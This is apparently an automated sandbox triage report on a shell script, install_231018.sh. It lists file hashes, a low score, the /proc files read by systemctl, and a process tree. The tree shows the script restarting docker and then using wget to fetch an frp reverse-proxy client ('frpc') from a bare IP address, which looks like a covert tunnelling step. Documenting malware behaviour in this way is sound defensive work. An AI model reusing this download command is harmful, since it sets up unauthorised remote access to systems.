21083f6fe4aac5d96ab7dd890307573dd5868111f6c02ca6a9c1d88790eb8459 | Triage

Analysis

max time kernel
132s
max time network
148s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240508-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240508-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
23/05/2024, 13:16

Sharing

Report Analysis Logs

General

Target

install_231018.sh
Size

1KB
MD5

d2db72c6b8966c99e13ef91aa3a0e663
SHA1

8e721ed8e9c8b4aa265c5c52f38c8a670630de2b
SHA256

21083f6fe4aac5d96ab7dd890307573dd5868111f6c02ca6a9c1d88790eb8459
SHA512

ef3655b7d0906f8b24595444365e0df551ed23c92f1e13953b1c9beeff92109f85540825fbbc42c937a06622b308f6ce69fa579dbc31e68a2aacd9ee7329a07a

Score

3^/10

Malware Config

Signatures

Reads runtime system information 12 IoCs

Reads data from /proc virtual filesystem.

description	ioc	Process
File opened for reading	/proc/1/sched	systemctl
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/sys/kernel/osrelease	systemctl
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/1/sched	systemctl
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/sys/kernel/osrelease	systemctl
File opened for reading	/proc/1/environ	systemctl

/tmp/install_231018.sh
/tmp/install_231018.sh
1⤵
PID:1495
- /bin/systemctl
  systemctl restart docker
  2⤵
  - Reads runtime system information
  PID:1497
- /bin/systemctl
  systemctl enable docker
  2⤵
  - Reads runtime system information
  PID:1498
- /usr/bin/wget
  wget http://8.134.107.247/frp_0.51.2_linux_amd64/frpc
  2⤵
  PID:1506

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads